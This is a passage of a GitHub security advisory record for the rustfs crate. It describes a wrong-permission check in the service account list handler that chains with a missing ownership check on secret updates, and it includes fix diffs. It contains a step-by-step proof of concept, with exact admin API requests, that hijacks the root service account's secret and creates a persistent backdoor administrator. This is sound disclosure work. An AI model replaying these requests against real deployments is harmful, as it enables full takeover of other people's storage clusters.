{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-alpha.91"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-alpha.98"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:14:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ListServiceAccount` (`GET /rustfs/admin/v3/list-service-accounts?user=\u003cother\u003e`) authorizes cross-user requests against `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction` at `rustfs/src/admin/handlers/service_account.rs:936`. The handler accepts the **wrong** admin action and rejects the **correct** one:\n\n- A user granted only `admin:UpdateServiceAccount` enumerates every service account in the cluster, including the root user\u0027s (HTTP 200, full metadata).\n- A user granted only `admin:ListServiceAccounts` \u2014 the permission name every IAM document treats as \"list service accounts\" \u2014 receives HTTP 403 AccessDenied on the same request.\n\nBecause service account access keys act as the identifier a `UpdateServiceAccount` holder needs to rotate a secret, and the `UpdateServiceAccount` handler at `rustfs/src/admin/handlers/service_account.rs:489` performs no ownership check on the target access key, leaking those access keys lets a delegated \"service account updater\" role overwrite `root-sa-1`\u0027s secret, authenticate as the root user\u0027s service account, and create a persistent backdoor admin with `admin:*` + `s3:*`. Proven live end-to-end against `rustfs/rustfs:latest` (1.0.0-alpha.91, revision `d4ea14c2`) \u2014 the same revision is byte-identical on current `origin/main`.\n\n## Vulnerability Details\n\n- **Package:** `rustfs` (binary crate `rustfs`)\n- **Affected versions:** From `0a2411f` (the initial `service_account.rs` check-in on 2026-03-15) through current HEAD `90e584a`. The vulnerable line has never been touched.\n- **Fixed versions:** None\n- **Vulnerable file:** `rustfs/src/admin/handlers/service_account.rs`\n- **Vulnerable route:** `GET /rustfs/admin/v3/list-service-accounts?user=\u003cother_user\u003e` (`ListServiceAccount::call`)\n- **CWE:** CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)\n- **CVSS (demonstrated chain to full admin):** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **10.0 Critical**. If scored as Scope:Unchanged the vector is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = **8.8 High**. The list bug alone (no chain) is `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = **6.5 Medium** and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.\n\n## Two Distinct Vulnerabilities\n\nThis report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:\n\n**Vulnerability A \u2014 Wrong action constant in ListServiceAccount (CWE-863)**\n`ListServiceAccount::call` at line 936 checks `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction`. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion \u2014 the correct permission (`admin:ListServiceAccounts`) is rejected, and the wrong one (`admin:UpdateServiceAccount`) is accepted. Independently, this is a Medium-severity cross-user information disclosure.\n\n**Vulnerability B \u2014 Missing ownership check in UpdateServiceAccount (CWE-620)**\n`UpdateServiceAccount::call` at lines 489-614 authorizes on possession of `admin:UpdateServiceAccount` but never verifies the target `?accessKey=` belongs to the caller or the caller\u0027s parent. Lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target for such a check. This means any holder of `admin:UpdateServiceAccount` can overwrite any service account\u0027s secret in the cluster, regardless of ownership.\n\n**Chain (A + B) \u2014 Full RustFS administrative takeover**\nVulnerability A leaks every service account\u0027s access key (including the root administrator\u0027s). Vulnerability B allows overwriting any SA\u0027s secret given its access key. Together: a user with a single permission (`admin:UpdateServiceAccount`) enumerates the root user\u0027s SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user\u0027s service account, and creates a persistent backdoor admin with full RustFS administrative control.\n\n**Authorization mismatch at a glance:**\n\nExact policies attached to each test identity (retrieved from running server via `GET /admin/v3/info-canned-policy`):\n\n        legit-list-pol      -\u003e {\"Action\": [\"admin:ListServiceAccounts\"],  \"Resource\": [\"arn:aws:s3:::*\"]}\n        list-sa-probe-pol   -\u003e {\"Action\": [\"admin:UpdateServiceAccount\"], \"Resource\": [\"arn:aws:s3:::*\"]}\n        list-sa-restricted  -\u003e {\"Action\": [\"admin:UpdateServiceAccount\"], \"Resource\": [\"arn:aws:s3:::probe-scope/*\"]}\n        (zero-priv-user has no attached policy)\n\n| Identity | Attached policy | `GET /list-service-accounts?user=rustfsadmin` | Expected |\n|---|---|---|---|\n| `probe-user` | `list-sa-probe-pol` (`admin:UpdateServiceAccount`) | **200** (full SA metadata) | 403 |\n| `legit-list-user` | `legit-list-pol` (`admin:ListServiceAccounts`) | **403** AccessDenied | 200 |\n| `restricted-update-user` | `list-sa-restricted` (`admin:UpdateServiceAccount` on `probe-scope/*`) | **200** | 403 |\n| `zero-priv-user` | (none) | **403** | 403 |\n| (unauthenticated) | n/a | **403** Signature required | 403 |\n\n### Why the correct permission gets 403\n\nThe handler at line 936 calls `is_allowed` with the action `AdminAction::UpdateServiceAccountAdminAction`. The IAM engine performs an exact string match between the action in the `is_allowed` call (`admin:UpdateServiceAccount`) and the action in the caller\u0027s attached policy:\n\n- `legit-list-user` has policy action `admin:ListServiceAccounts`. This does **not** match `admin:UpdateServiceAccount`. `is_allowed` returns false. The handler returns 403. The user who holds the *correct* permission for listing service accounts is denied.\n- `probe-user` has policy action `admin:UpdateServiceAccount`. This **matches** `admin:UpdateServiceAccount`. `is_allowed` returns true. The handler returns 200. The user who holds a *different, unrelated* permission is granted access to a list endpoint.\n- `restricted-update-user` has the same action string but resource-scoped to `arn:aws:s3:::probe-scope/*`. Admin-action statements skip resource matching (`crates/policy/src/policy/statement.rs:132`: `\u0026\u0026 !self.is_admin() \u0026\u0026 !self.is_sts()`), so the resource restriction is ignored and `is_allowed` still returns true.\n\nThere is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (`crates/policy/src/policy/action.rs:459-462`) with distinct `strum(serialize)` values. The IAM engine is working correctly; the handler passes the wrong action to it.\n\nRaw request/response for `legit-list-user` (the counterintuitive 403):\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  HTTP/1.1\n        Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/...\n\n        HTTP/1.1 403\n        \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cError\u003e\u003cCode\u003eAccessDenied\u003c/Code\u003e\u003cMessage\u003eaccess denied\u003c/Message\u003e\u003c/Error\u003e\n\n**Why this is not \"working as intended\":**\n- `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions.\n- Three sibling list handlers in the same file (lines 658, 799, 1095) all check `ListServiceAccountsAdminAction`. Only line 936 deviates.\n- CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers\u0027 own precedent: `ImportIam` checking `ExportIAMAction` was rated Medium and fixed. The same class of bug applies here.\n- A zero-privilege user (no admin policies at all) cannot exploit either vulnerability \u2014 both handlers correctly enforce their respective `is_allowed` checks. The bug is that the list handler enforces the *wrong* action constant, not that it skips enforcement entirely.\n\n## Root Cause \u2014 Vulnerability A (Wrong Action Constant)\n\n`ListServiceAccount::call` is registered for `GET /rustfs/admin/v3/list-service-accounts` at `rustfs/src/admin/handlers/service_account.rs:137-141`. The cross-user branch (entered when `?user=\u003cx\u003e` does not match the caller) checks the wrong admin action:\n\n    // rustfs/src/admin/handlers/service_account.rs:931-953  (HEAD 90e584a, identical at d4ea14c2)\n    let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n        if !iam_store\n            .is_allowed(\u0026Args {\n                account: \u0026cred.access_key,\n                groups: \u0026cred.groups,\n                action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG\n                bucket: \"\",\n                conditions: \u0026get_condition_values(...),\n                is_owner: owner,\n                object: \"\",\n                claims: cred.claims.as_ref().unwrap_or(\u0026HashMap::new()),\n                deny_only: false,\n            })\n            .await\n        {\n            return Err(s3_error!(AccessDenied, \"access denied\"));\n        }\n        query.user.unwrap_or_default()\n    } else if cred.parent_user.is_empty() {\n        cred.access_key\n    } else {\n        cred.parent_user\n    };\n\nThe action enum definitions are cleanly distinct at `crates/policy/src/policy/action.rs:459-464`:\n\n    #[strum(serialize = \"admin:CreateServiceAccount\")] CreateServiceAccountAdminAction,\n    #[strum(serialize = \"admin:UpdateServiceAccount\")] UpdateServiceAccountAdminAction,\n    #[strum(serialize = \"admin:RemoveServiceAccount\")] RemoveServiceAccountAdminAction,\n    #[strum(serialize = \"admin:ListServiceAccounts\")]  ListServiceAccountsAdminAction,\n\nEvery *other* list handler in the same file authorizes on the correct constant:\n\n    rustfs/src/admin/handlers/service_account.rs:658   InfoServiceAccount::call   -\u003e ListServiceAccountsAdminAction\n    rustfs/src/admin/handlers/service_account.rs:799   InfoAccessKey::call        -\u003e ListServiceAccountsAdminAction\n    rustfs/src/admin/handlers/service_account.rs:1095  ListAccessKeysBulk::call   -\u003e ListServiceAccountsAdminAction\n\nOnly `ListServiceAccount::call` at line 936 deviates. This is a typo/wiring error, not a design choice.\n\n`git blame` shows the line has been wrong since commit `0a2411f` (heihutu, 2026-03-15), the initial check-in of `service_account.rs`.\n\n## Root Cause \u2014 Vulnerability B (Missing Ownership Check in Update)\n\nService account access keys are the identifier the `UpdateServiceAccount` handler accepts via the `?accessKey=` query string. Inspecting `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614`:\n\n    let access_key = query.access_key;                                // line 509\n    ...\n    if !iam_store.is_allowed(\u0026Args {\n        account: \u0026cred.access_key,\n        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n        ...\n    }).await { return Err(s3_error!(AccessDenied, \"access denied\")); } // line 538-559\n    ...\n    let updated_at = iam_store.update_service_account(\u0026access_key, opts).await  // line 579\n        .map_err(...)?;\n\nThe handler authorizes on *possession of* `admin:UpdateServiceAccount` and **never checks** that the `?accessKey=` query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out `get_service_account` call that would have loaded the target SA for an ownership check \u2014 it was present in the initial commit and has been commented out since:\n\n    // let svc_account = iam_store.get_service_account(\u0026access_key).await.map_err(|e| {\n    //     debug!(\"get service account failed, e: {:?}\", e);\n    //     s3_error!(InternalError, \"get service account failed\")\n    // })?;\n\nThe inner `IamSys::update_service_account` at `crates/iam/src/sys.rs:495-501` delegates to `IamCache::update_service_account` at `crates/iam/src/manager.rs:663` which loads the credentials by access-key name, verifies it is a service account, and overwrites `secret_key` \u2014 again, no ownership check:\n\n    // crates/iam/src/manager.rs:663\n    pub async fn update_service_account(\u0026self, name: \u0026str, opts: UpdateServiceAccountOpts) -\u003e Result\u003cOffsetDateTime\u003e {\n        let Some(ui) = self.cache.users.load().get(name).cloned() else {\n            return Err(Error::NoSuchServiceAccount(name.to_string()));\n        };\n        ...\n        let mut cr = ui.credentials.clone();\n        let current_secret_key = cr.secret_key.clone();\n\n        if let Some(secret) = opts.secret_key {\n            if !is_secret_key_valid(\u0026secret) {\n                return Err(Error::InvalidSecretKeyLength);\n            }\n            cr.secret_key = secret;                // \u003c-- attacker-chosen\n        }\n        ...\n\nSo a holder of `admin:UpdateServiceAccount` who knows *any* service account\u0027s access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including `root-sa-1`.\n\nThe two bugs together form a clean chain:\n\n1. Attacker has a single admin permission: `admin:UpdateServiceAccount`.\n2. Attacker calls `GET /v3/list-service-accounts?user=rustfsadmin` \u2014 vulnerable handler grants access.\n3. Attacker reads `accessKey=root-sa-1` out of the response.\n4. Attacker calls `POST /v3/update-service-account?accessKey=root-sa-1` with body `{\"newSecretKey\":\"...\"}` \u2014 ownership-less handler overwrites.\n5. Attacker authenticates as `root-sa-1` with the chosen secret and inherits the root user\u0027s full `admin:*` + `s3:*` authority.\n\n## Environment and Version Alignment\n\n- Image: `rustfs/rustfs:latest`, digest `sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a`\n- Labels: `org.opencontainers.image.version=1.0.0-alpha.91`, `org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37`, `org.opencontainers.image.build-type=prerelease`\n- Source verification:\n\n        $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n \u0027931,940p\u0027\n                let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n                    if !iam_store\n                        .is_allowed(\u0026Args {\n                            account: \u0026cred.access_key,\n                            groups: \u0026cred.groups,\n                            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n                            bucket: \"\",\n                            ...\n\n        $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n \u0027931,940p\u0027\n                let target_account = if query.user.as_ref().is_some_and(|v| v != \u0026cred.access_key) {\n                    if !iam_store\n                        .is_allowed(\u0026Args {\n                            account: \u0026cred.access_key,\n                            groups: \u0026cred.groups,\n                            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n                            bucket: \"\",\n                            ...\n\nByte-identical. The shipped image contains the same vulnerable handler as the tip of main.\n\n## Proof of Concept (executed live)\n\n### Environment\n\n        docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \\\n            -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \\\n            rustfs/rustfs:latest\n\nRoot credentials: `rustfsadmin:rustfsadmin`.\n\n### Step 1 \u2014 Provision the probe identity\n\nThe probe policy grants exactly **one** admin action, scoped to the broadest resource. Nothing else.\n\n        {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Effect\": \"Allow\",\n              \"Action\": [\"admin:UpdateServiceAccount\"],\n              \"Resource\": [\"arn:aws:s3:::*\"]\n            }\n          ]\n        }\n\nCreation as root:\n\n        PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol        -\u003e 200\n        PUT /rustfs/admin/v3/add-user?accessKey=probe-user                   -\u003e 200  (secret: probe-secret1234)\n        PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user\u0026isGroup=false\u0026policyName=list-sa-probe-pol -\u003e 200\n        PUT /rustfs/admin/v3/add-user?accessKey=victim-user                  -\u003e 200  (no policy)\n        PUT /rustfs/admin/v3/add-service-accounts                            -\u003e 200  (creates victim-sa-1 under victim-user)\n        PUT /rustfs/admin/v3/add-service-accounts                            -\u003e 200  (creates root-sa-1 under rustfsadmin)\n\n### Step 2 \u2014 Baseline: probe-user is actually constrained\n\nConfirming `probe-user` is denied on unrelated admin endpoints so the \"200 on list-service-accounts\" is not the side effect of some ambient privilege:\n\n        GET /rustfs/admin/v3/list-users                 as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/info                       as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-canned-policies       as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/kms/status                 as probe-user -\u003e 403 AccessDenied\n        PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-service-accounts      as probe-user -\u003e 200 {\"accounts\":[]}  # self-scope OK\n\nThe self-scope list (no `user=` query) returns an empty array \u2014 the caller\u0027s own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.\n\n### Step 3 \u2014 Primary exploit: enumerate other users\u0027 service accounts\n\n        GET /rustfs/admin/v3/list-service-accounts?user=victim-user  as probe-user -\u003e 200\n        {\"accounts\":[{\"parentUser\":\"victim-user\",\"accountStatus\":\"on\",\"impliedPolicy\":true,\"accessKey\":\"victim-sa-1\",\"name\":\"sa-victim-user-victim-sa-1\",\"description\":\"probe target SA for user victim-user\",\"expiration\":null}]}\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -\u003e 200\n        {\"accounts\":[{\"parentUser\":\"rustfsadmin\",\"accountStatus\":\"on\",\"impliedPolicy\":true,\"accessKey\":\"root-sa-1\",\"name\":\"sa-rustfsadmin-root-sa-1\",\"description\":\"probe target SA for user rustfsadmin\",\"expiration\":null}]}\n\nExposed per entry: `parentUser`, `accountStatus`, `impliedPolicy`, **`accessKey`**, `name`, `description`, `expiration`. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the `accessKey` \u2014 the identifier that the `UpdateServiceAccount` endpoint consumes via `?accessKey=`.\n\n### Step 4 \u2014 Differential: the correct permission gets denied\n\nCreated `legit-list-user` with a policy granting only `admin:ListServiceAccounts`:\n\n        {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [\n            {\n              \"Effect\": \"Allow\",\n              \"Action\": [\"admin:ListServiceAccounts\"],\n              \"Resource\": [\"arn:aws:s3:::*\"]\n            }\n          ]\n        }\n\nRunning the same request:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -\u003e 403\n        \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cError\u003e\u003cCode\u003eAccessDenied\u003c/Code\u003e\u003cMessage\u003eaccess denied\u003c/Message\u003e\u003c/Error\u003e\n\nThis is the damning evidence of inversion. The handler refuses the **correct** permission (`admin:ListServiceAccounts`) and accepts the **wrong** one (`admin:UpdateServiceAccount`). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators `admin:ListServiceAccounts` to view the service account inventory \u2014 the intuitive and documented approach \u2014 will see every cross-user list request return 403 until this bug is fixed.\n\nThe resource-scoped variant gave the same result as the broad variant:\n\n        # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA)\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as restricted-update-user -\u003e 200 (same body as probe-user)\n\nResource restrictions on admin actions are skipped in `crates/policy/src/policy/statement.rs:132` (`\u0026\u0026 !self.is_admin() \u0026\u0026 !self.is_sts()`), so the bug is equally reachable by an operator whose `admin:UpdateServiceAccount` grant was scoped to a specific bucket.\n\nAnd unauthenticated requests are still rejected:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  (no signature) -\u003e 403 \"Signature is required\"\n\nThis is an **authenticated privilege-boundary violation**, not a pre-auth bug.\n\n### Step 4b \u2014 Zero-privilege user is correctly blocked\n\nTo confirm the bug is in the action constant (not a missing check), created `zero-priv-user` with **no policies at all**:\n\n        GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as zero-priv-user -\u003e 403 AccessDenied\n        POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as zero-priv-user -\u003e 403 AccessDenied\n        GET /rustfs/admin/v3/list-service-accounts  as zero-priv-user -\u003e 200 {\"accounts\":[]}  # self-scope only\n\nThe `is_allowed` check at line 936 fires and correctly blocks zero-priv-user because they have *no* admin permissions. The bug is not that the check is skipped \u2014 it is that the check uses the **wrong action constant**, so it grants access to users holding `admin:UpdateServiceAccount` (the wrong permission) and denies users holding `admin:ListServiceAccounts` (the correct permission).\n\n### Step 5 \u2014 Full chain to RustFS admin takeover (persistent backdoor)\n\nWith `accessKey=root-sa-1` known, `probe-user` (still only `admin:UpdateServiceAccount`) hijacks the root service account\u0027s secret:\n\n        POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as probe-user\n             body: {\"newSecretKey\":\"pwned-secret-2\"}                           -\u003e 204 NoContent\n\nThen re-signs and calls admin APIs as `root-sa-1/pwned-secret-2`:\n\n        GET /rustfs/admin/v3/list-users  as root-sa-1/pwned-secret-2 -\u003e 200\n        {\"svinfo-user\":{\"policyName\":\"serverinfo-only\",\"status\":\"enabled\",...},\n         \"probe-user\":{\"policyName\":\"list-sa-probe-pol\",\"status\":\"enabled\",...},\n         \"readonly-user\":{\"policyName\":\"readonly\",\"status\":\"enabled\",...},\n         \"victim-user\":{\"status\":\"enabled\",...}}\n\n        GET /rustfs/admin/v3/info  as root-sa-1/pwned-secret-2       -\u003e 200\n        {\"mode\":\"online\",\"backend\":{\"backendType\":\"Erasure\",\"online\":...},\"buckets\":{\"count\":...},\"services\":{...}}\n\nBoth endpoints previously returned 403 for `probe-user`. They now succeed because `root-sa-1` inherits `rustfsadmin`\u0027s full authority.\n\nExtending the chain to a persistent backdoor, still driven by `probe-user`\u0027s hijacked `root-sa-1` session:\n\n        PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin                 -\u003e 200  (body: {\"secretKey\":\"backdoor-secret-9\",\"status\":\"enabled\"})\n        PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all            -\u003e 200  (body: admin:* + s3:*)\n        PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin\u0026isGroup=false\u0026policyName=proof-admin-all -\u003e 200\n\nDirect authentication as the new admin (no further reliance on the hijacked SA):\n\n        GET /rustfs/admin/v3/list-users  as backdoor-admin/backdoor-secret-9   -\u003e 200 (same full user dump)\n        PUT /proof-admin-bucket          as backdoor-admin/backdoor-secret-9   -\u003e 200 (new bucket created on the S3 plane)\n\nThe attacker now owns a persistent admin identity with `admin:*` and `s3:*` that will survive secret rotations on `root-sa-1`. Starting identity was a user granted exactly one admin action.\n\n### Full PoC scripts\n\nRunnable top-to-bottom against a fresh `rustfs/rustfs:latest` container. Each script prints raw HTTP status codes and response bodies.\n\n- `poc/01_setup_probe_user.py` \u2014 create policies, users, service accounts.\n- `poc/02_baseline_probe.py` \u2014 403/200 differential on unrelated admin endpoints.\n- `poc/03_exploit.py` \u2014 primary ListServiceAccount enumeration.\n- `poc/04_escalate_takeover.py` \u2014 hijack root-sa-1 and prove admin calls.\n- `poc/05_full_root_compromise.py` \u2014 end-to-end chain including backdoor-admin creation and new bucket.\n- `poc/06_differential_and_resource.py` \u2014 legit-list-user 403 and resource-scoped 200.\n\n## Impact\n\n1. **Full RustFS administrative takeover (Confidentiality: High, Integrity: High, Availability: High).**\n   A user with a single admin permission (`admin:UpdateServiceAccount`) chains the list bug with the ownership-free `UpdateServiceAccount` handler to overwrite any service account\u0027s secret \u2014 including the root administrator\u0027s \u2014 and inherit full `admin:*` + `s3:*` authority over the RustFS deployment. Demonstrated live: probe-user \u2192 list \u2192 hijack root-sa-1 \u2192 create persistent backdoor-admin \u2192 create bucket.\n\n2. **Authorization inversion on a core admin endpoint (Integrity).**\n   Users granted the intended `admin:ListServiceAccounts` permission receive 403 on cross-user list requests. A rustfs deployment that issues `admin:ListServiceAccounts` to its operators (the obvious and documented interpretation of the action name) is silently broken until this is fixed.\n\n3. **Cross-user service-account inventory disclosure (Confidentiality: High).**\n   Even absent the update-ownership gap, the bug exposes every service account\u0027s access key, owning principal, name, description, account status, and expiration to any `admin:UpdateServiceAccount` holder. This maps the full service-account topology of the cluster and identifies which account to target for a secret rotation attack.\n\n4. **Resource-scoped policies provide no mitigation (Integrity).**\n   `statement.rs:132` skips resource matching for admin statements, so restricting `admin:UpdateServiceAccount` to a specific bucket ARN (the usual pattern for bounded delegation) gives a false sense of isolation and does not reduce the blast radius of this bug.\n\n## Suggested Fix\n\nThe minimal, correct fix is a one-line change at `rustfs/src/admin/handlers/service_account.rs:936`:\n\n    // rustfs/src/admin/handlers/service_account.rs:936\n    -                    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),\n    +                    action: Action::AdminAction(AdminAction::ListServiceAccountsAdminAction),\n\nThis brings `ListServiceAccount` in line with the three sibling handlers (lines 658, 799, 1095) that correctly enforce `ListServiceAccountsAdminAction`, and restores the documented meaning of the `admin:ListServiceAccounts` permission for operators who rely on it.\n\n### Recommended follow-up (separate but related)\n\nEven after this fix, `UpdateServiceAccount::call` at `rustfs/src/admin/handlers/service_account.rs:489-614` will still lack any check that the target `?accessKey=` belongs to the caller (or the caller\u0027s parent), so any holder of `admin:UpdateServiceAccount` who can otherwise obtain the access key of a higher-privileged service account can still hijack it. Consider adding an ownership precondition inside the handler before calling `iam_store.update_service_account`:\n\n    let target = iam_store.get_service_account(\u0026access_key).await\n        .map_err(|e| map_service_account_lookup_error(e, \"get service account failed\"))?;\n    let caller_parent = if cred.parent_user.is_empty() { cred.access_key.as_str() } else { cred.parent_user.as_str() };\n    if target.0.parent_user != caller_parent \u0026\u0026 !is_owner {\n        // Only root or the parent user should be able to mutate this SA.\n        // (Or additionally require a dedicated admin action granted to full admins.)\n        return Err(s3_error!(AccessDenied, \"access denied\"));\n    }\n\nThis additional check closes the secret-rotation primitive for non-root holders of `admin:UpdateServiceAccount`. It is outside the strict scope of the line-936 typo, but the live PoC shows it is the mechanism by which information disclosure escalates to full administrative takeover, so fixing both in one advisory avoids leaving a usable primitive in place.\n\n## Self-Review\n\n- **Is this by-design?** No. The three sibling list handlers at lines 658, 799, and 1095 all enforce `ListServiceAccountsAdminAction`. The action enum has distinct `admin:UpdateServiceAccount` and `admin:ListServiceAccounts` strings with no wildcard relationship. There is no comment, test, or docstring suggesting the deviation at line 936 is intentional. CVE-2026-22042 / GHSA-vcwh-pff9-64cc (`ImportIam` using `ExportIAMAction`) is the maintainers\u0027 own precedent that this class of bug is treated as a real security issue.\n- **Reachability?** Proven live on `rustfs/rustfs:latest` revision `d4ea14c2`. Response bodies captured in the report above and in `poc/` logs.\n- **Is there upstream routing that enforces admin?** No. `S3Router::register` dispatches directly from `service_account.rs:137-141` into `ListServiceAccount::call`; the only authorization is the `is_allowed` call at line 931-953. Confirmed by the 200 return for `probe-user` and the 403 return for `legit-list-user` on the same path.\n- **Prior art?** No existing rustfs advisory covers this handler. `CVE-2026-22042` is the same *class* of bug in a different handler; `CVE-2026-22043` is a `deny_only` short-circuit bug in the same file but a completely different code path. Both are explicitly distinct from the line 936 typo.\n- **Is the docker image the same code as main?** Yes. Image label `org.opencontainers.image.revision=d4ea14c2`; `git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs` at lines 931-960 is byte-identical to `git show origin/main:rustfs/src/admin/handlers/service_account.rs`. Re-verified on 2026-04-09 at HEAD `90e584a` \u2014 file unchanged since initial commit `0a2411f`.\n  - The commented-out ownership check at lines 522-525 of `UpdateServiceAccount::call` demonstrates the developer was aware an ownership check belonged there but left it disabled. This is not a design decision \u2014 it is incomplete implementation that this report\u0027s chain exploits.\n- **Honest limitations:**\n  - The primary exploit requires an authenticated principal with `admin:UpdateServiceAccount`. It is not pre-auth.\n  - Secret keys of the enumerated service accounts are NOT returned by the list handler (they are explicitly cleared elsewhere). Only the access key is disclosed. The escalation to RustFS admin relies on the *Update* path to overwrite the secret, not on reading a leaked secret.\n  - The full administrative takeover chain depends on the separate `UpdateServiceAccount` ownership gap. If a reviewer considers that gap out of scope for this report, the line-936 typo on its own is best-rated as **Medium** cross-user information disclosure (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` = 6.5). The live PoC and differential stand independent of that scoping.\n  - The differential (legit-list-user \u2192 403, probe-user \u2192 200) isolates the cause to the handler\u0027s action constant and is reproducible in seconds against a fresh container.\n\n## Resources\n\n- Vulnerable file in image: `rustfs/src/admin/handlers/service_account.rs` @ `d4ea14c2ba99602314511d5862005f7b871ece37`\n- Vulnerable file at HEAD: `rustfs/src/admin/handlers/service_account.rs` @ `90e584a` (file unchanged since `0a2411f`)\n- Incorrect action at line 936: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L931-L953`\n- Correct action at line 658 (`InfoServiceAccount`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L658`\n- Correct action at line 799 (`InfoAccessKey`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L799`\n- Correct action at line 1095 (`ListAccessKeysBulk`): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L1095`\n- AdminAction enum: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/action.rs#L457-L464`\n- UpdateServiceAccount handler (ownership gap): `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L489-L614`\n- IamCache::update_service_account: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/iam/src/manager.rs#L663`\n- Admin statements skip resource matching: `https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/statement.rs#L132`\n- rustfs security policy: `https://github.com/rustfs/rustfs/security/policy`\n- Prior art (same class, different handler): `CVE-2026-22042` / `GHSA-vcwh-pff9-64cc`\n\n\nKoda Reef",
  "id": "GHSA-mm2q-qcmx-gw4w",
  "modified": "2026-05-05T20:14:16Z",
  "published": "2026-05-05T20:14:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-mm2q-qcmx-gw4w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustfs/rustfs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
